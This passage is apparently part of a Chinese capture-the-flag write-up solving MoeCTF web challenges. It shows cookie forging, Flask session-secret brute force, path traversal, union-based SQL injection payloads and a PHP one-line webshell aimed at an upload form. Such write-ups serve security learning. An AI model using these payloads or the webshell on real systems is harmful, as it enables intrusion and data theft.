key4（这一步可以在浏览器中直接输入网址进行，也可以在工具中进行）：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;key&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;Key4-ZXJUaDFzbGE=&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;message&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;Do you know HTTP headers? Check it. Besides, Try to POST this api&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;这里让我们 check 一下 &lt;code&gt;HTTP headers&lt;/code&gt; ，即查看一下返回的请求头：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;HTTP&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt;1.0&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;200&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;OK&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Server&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;BaseHTTP/0.6 Python/3.12.13&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Date&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Tue, 13 Oct 2026 05:57:14 GMT&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Content-Type&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;application/json; charset=utf-8&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;key&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Key5-ITkzdA==&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Content-Length&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;108&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;下一步是 POST 刚刚那个 api ：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;key&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;Key6-ZnwxbGFA&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;message&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;Try login!&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;再下一步是尝试登录，由于没有给具体的登录方式，猜测直接构造 url &lt;code&gt;/login&lt;/code&gt; 来进入登录，给出了账号与密码直接登录，登录后提示：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Do you know cookie(不能吃)? Try to login the account of &quot;admin&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;在 cookie 中发现了一个 &lt;code&gt;user:guest&lt;/code&gt; ，修改为 &lt;code&gt;user:admin&lt;/code&gt; 即可进入下一步：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Key7-NGFAZzY5Nmc5&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;有一个文件限制了爬虫可以访问的内容，是什么呢？&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;All Key body are a b64 string, try to decode&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;凭借常识可知题目说的是 &lt;code&gt;/robots.txt&lt;/code&gt; ，访问后得到一个路径 &lt;code&gt;/f13ggggg&lt;/code&gt; ，访问后输入最终解码的内容：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Key1   N2ghNUkkTQ==   7h!5I$M&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Key2   QDBtNG9k       @0m4od&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Key3   M0szeUVuKw==   3K3yEn+&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Key4   ZXJUaDFzbGE=   erTh1sla&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Key5   ITkzdA==       !93t&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Key6   ZnwxbGFA       f|1la@&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Key7   NGFAZzY5Nmc5   4a@g696g9&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;7h!5I$M@0m4od3K3yEn+erTh1sla!93tf|1la@4a@g696g9&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;便可以得到最终的 flag 。&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;当零来敲门&lt;a href=&quot;#当零来敲门&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;blockquote&gt;&lt;p&gt;快来和群友（并不是）一起玩快乐的数字接龙！只要大家齐心协力从 1 数到 500，出题人就把 Flag 白送给你！&lt;/p&gt;&lt;p&gt;诶等等，怎么聊天室里混进来了一个…… 这个「林林」是个无情的刷屏复读机，每过 10 秒钟就必须看到一次 0。只要它发了 0，大家刚刚数出来的进度就当场重置归零！&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;显然靠手速在 10 秒内打完 500 次是不现实的，考虑 Python 脚本自动进行报数。&lt;/p&gt;&lt;p&gt;先尝试报数 1 ，即可在浏览器 Devtools 的  &lt;code&gt;Network&lt;/code&gt; 中找到是向 &lt;code&gt;/chat&lt;/code&gt; 发送了一个 POST 请求，请求的表单包括用户名和消息。连接上 SSH 后在交互式 Python 中使用以下代码即可。&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; requests&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;url &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;http://127.0.0.1:8080/chat&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; i &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;range&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;500&lt;/span&gt;&lt;span&gt;):&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;data &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;span&gt;&quot;user&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;cck&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&quot;msg&quot;&lt;/span&gt;&lt;span&gt;&lt;span&gt;: i&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;res &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; requests.&lt;/span&gt;&lt;span&gt;post&lt;/span&gt;&lt;span&gt;(url, &lt;/span&gt;&lt;span&gt;json&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; data)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(res.status_code)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;MoeCatchTheFrogs&lt;a href=&quot;#moecatchthefrogs&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;blockquote&gt;&lt;p&gt;MoeCTF 2026 官方群已经被绿色青蛙占领！！🐸🐸🐸&lt;/p&gt;&lt;p&gt;传说抓住所有的九种青蛙，就可以获得一份神秘礼物……&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;点击抓青蛙后发现 &lt;code&gt;cookie&lt;/code&gt; 中多了一个 &lt;code&gt;frog_session&lt;/code&gt; ，看样式应该是 flask-session ，使用 flask-unsign 即可爆破出弱口令 &lt;code&gt;qwe123456&lt;/code&gt; ，然后构造出 &lt;code&gt;{&apos;frogs&apos;:[0,1,2,3,4,5,6,7,8,9]}&lt;/code&gt; 的对应 session ，修改本地后刷新网页即可。&lt;/p&gt;&lt;p&gt;注意这个口令貌似在 flask-unsign 默认词典里没有，需要换个体量更大的 wordlist 。&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;古籍翻阅&lt;a href=&quot;#古籍翻阅&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;容器打开后是一大堆的古籍，随便点击几本进去都是 &lt;code&gt;404 - 此卷散佚&lt;/code&gt; ，联系题目名字我们应该要找到一个特殊的古籍，而题目给了所有古籍的目录，我们可以写一个简单的 python 脚本来处理这个目录，从中找到突破口：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;with&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;open&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;guji_catalog.txt&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&quot;r&quot;&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;as&lt;/span&gt;&lt;span&gt; f:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;content &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;sorted&lt;/span&gt;&lt;span&gt;&lt;span&gt;(f.&lt;/span&gt;&lt;span&gt;readlines&lt;/span&gt;&lt;span&gt;())&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; line &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; content:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;&lt;span&gt;(line.&lt;/span&gt;&lt;span&gt;strip&lt;/span&gt;&lt;span&gt;())&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;在输出的 s 和 z 开头的文件之间我们可以看到一个与众不同的文件名字 &lt;code&gt;true_file&lt;/code&gt;：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;...&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;shi/tongjian/www&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;true_file&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;zi/laozi/admin&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;...&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;推测这是下一步的突破口，我们在 html 源码中搜寻该文件名得到：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;class&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;scroll-link&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;href&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;[/read?book=true_file](http://127.0.0.1:51569/read?book=true_file)&quot;&lt;/span&gt;&lt;span&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span&gt;span&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;class&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;seal&quot;&lt;/span&gt;&lt;span&gt;&amp;gt;0737&amp;lt;/&lt;/span&gt;&lt;span&gt;span&lt;/span&gt;&lt;span&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span&gt;span&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;class&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;title&quot;&lt;/span&gt;&lt;span&gt;&amp;gt;无名真卷&amp;lt;/&lt;/span&gt;&lt;span&gt;span&lt;/span&gt;&lt;span&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span&gt;span&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;class&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;meta&quot;&lt;/span&gt;&lt;span&gt;&amp;gt;孤本&amp;lt;/&lt;/span&gt;&lt;span&gt;span&lt;/span&gt;&lt;span&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;点进去后得到了提示：&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;其实flag藏在了根目录下，去看看根目录吧&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;这里尝试了 &lt;code&gt;/flag&lt;/code&gt; , &lt;code&gt;/read?book=/flag&lt;/code&gt; ，&lt;code&gt;/read?book=flag&lt;/code&gt; 等都是无果的。后来盯着目录文件看了半天突然发现这很像是文件结构，考虑存在路径穿越漏洞，于是尝试 &lt;code&gt;/read?book=../../&lt;/code&gt; 成功得到 flag ：&lt;code&gt;moectf{re@d_the_r00t_5utr4_w1th_path_tr4v3r5@l}&lt;/code&gt; 。从 flag 可以看出路径穿越确实是该题预期知识点。&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;河湖小盗&lt;a href=&quot;#河湖小盗&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;打开界面非常简洁的一个网信院往年试题检索系统，很明显要使用 sql 注入。&lt;/p&gt;&lt;p&gt;首先尝试输入 &lt;code&gt;1&lt;/code&gt; ，可以看到返回了序号为 1 的登记人的信息，尝试输入 &lt;code&gt;1 or 1=1&lt;/code&gt; ，发现全部 5 条信息都出现了，说明是数字型注入，上下文内不存在引号且查询参数后面没有任何内容。观察表格有三列，猜测查询内容有三列，尝试使用联合注入 &lt;code&gt;1 union select 1,2,3&lt;/code&gt; ，成功将 &lt;code&gt;1,2,3&lt;/code&gt; 带到了返回的结果里来。&lt;/p&gt;&lt;p&gt;通过特征函数 &lt;code&gt;version()&lt;/code&gt; 与 &lt;code&gt;sqlite_version()&lt;/code&gt; 可以判断出数据库是 MySQL 8.0.46 ，则使用 MySQL 的方法查表名列名等：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;union&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;select&lt;/span&gt;&lt;span&gt; group_concat(table_name),&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;from&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;information_schema&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;tables&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;where&lt;/span&gt;&lt;span&gt;&lt;span&gt; table_schema&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;/span&gt;&lt;span&gt;database&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;union&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;select&lt;/span&gt;&lt;span&gt; group_concat(column_name),&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;from&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;information_schema&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;columns&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;where&lt;/span&gt;&lt;span&gt;&lt;span&gt; table_name&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;flag_table&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;union&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;select&lt;/span&gt;&lt;span&gt; flag,&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;from&lt;/span&gt;&lt;span&gt; flag_table &lt;/span&gt;&lt;span&gt;where&lt;/span&gt;&lt;span&gt;&lt;span&gt; id&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;最终可以得到 flag ：&lt;code&gt;moectf{h3re_i5_your_7e$7_pap3r}&lt;/code&gt; 。&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;我刚一提交就发现了三个问题&lt;a href=&quot;#我刚一提交就发现了三个问题&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;blockquote&gt;&lt;p&gt;我在你们这才交了几个文件，我已经发现三个问题了：&lt;/p&gt;&lt;p&gt;首先，（啪啪啪），在线提交，这文件怎么进了你的私人的目录里呢？&lt;/p&gt;&lt;p&gt;第二，这个文件我刚传进去，我还没拿到flag呢，这已经被删了，诶，这说明你们的后端逻辑有问题啊&lt;/p&gt;&lt;p&gt;第三，这个木马已经被我传上去了，这位邪恶的出题人，你怎么不给我flag呢？那请问我怎么才能解题呢？&lt;/p&gt;&lt;p&gt;（尝试提交内容为题目描述的文本文件会有惊喜，不包含括号内容，注意消除行间空格）&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;首先分析题目，通过提交文件可知这应该是一道文件上传漏洞题目。由题目第二点可知后端有对上传的文件进行校验，剩下两点看不出有什么作用。&lt;/p&gt;&lt;p&gt;连接上 wsrx 后对网页进行观察，尝试随便上传一个文件 &lt;code&gt;1.txt&lt;/code&gt; ，发现会有回显上传路径为 &lt;code&gt;/private/1.txt&lt;/code&gt; ，访问后可以看到文件内容。尝试编辑一句话木马 &lt;code&gt;&amp;lt;?php @eval($_POST[\&quot;cmd\&quot;]); ?&amp;gt;&lt;/code&gt; 并上传，发现正常显示上传路径，但是访问时出现 &lt;code&gt;404&lt;/code&gt; 。说明未通过服务器校验后被删除文件。此外还进行了其他尝试如改后缀名为 &lt;code&gt;php3&lt;/code&gt; 、&lt;code&gt;php5&lt;/code&gt; 等，将 PHP 代码通过 &lt;code&gt;txt&lt;/code&gt; 格式上传等，均会出现 &lt;code&gt;404&lt;/code&gt; 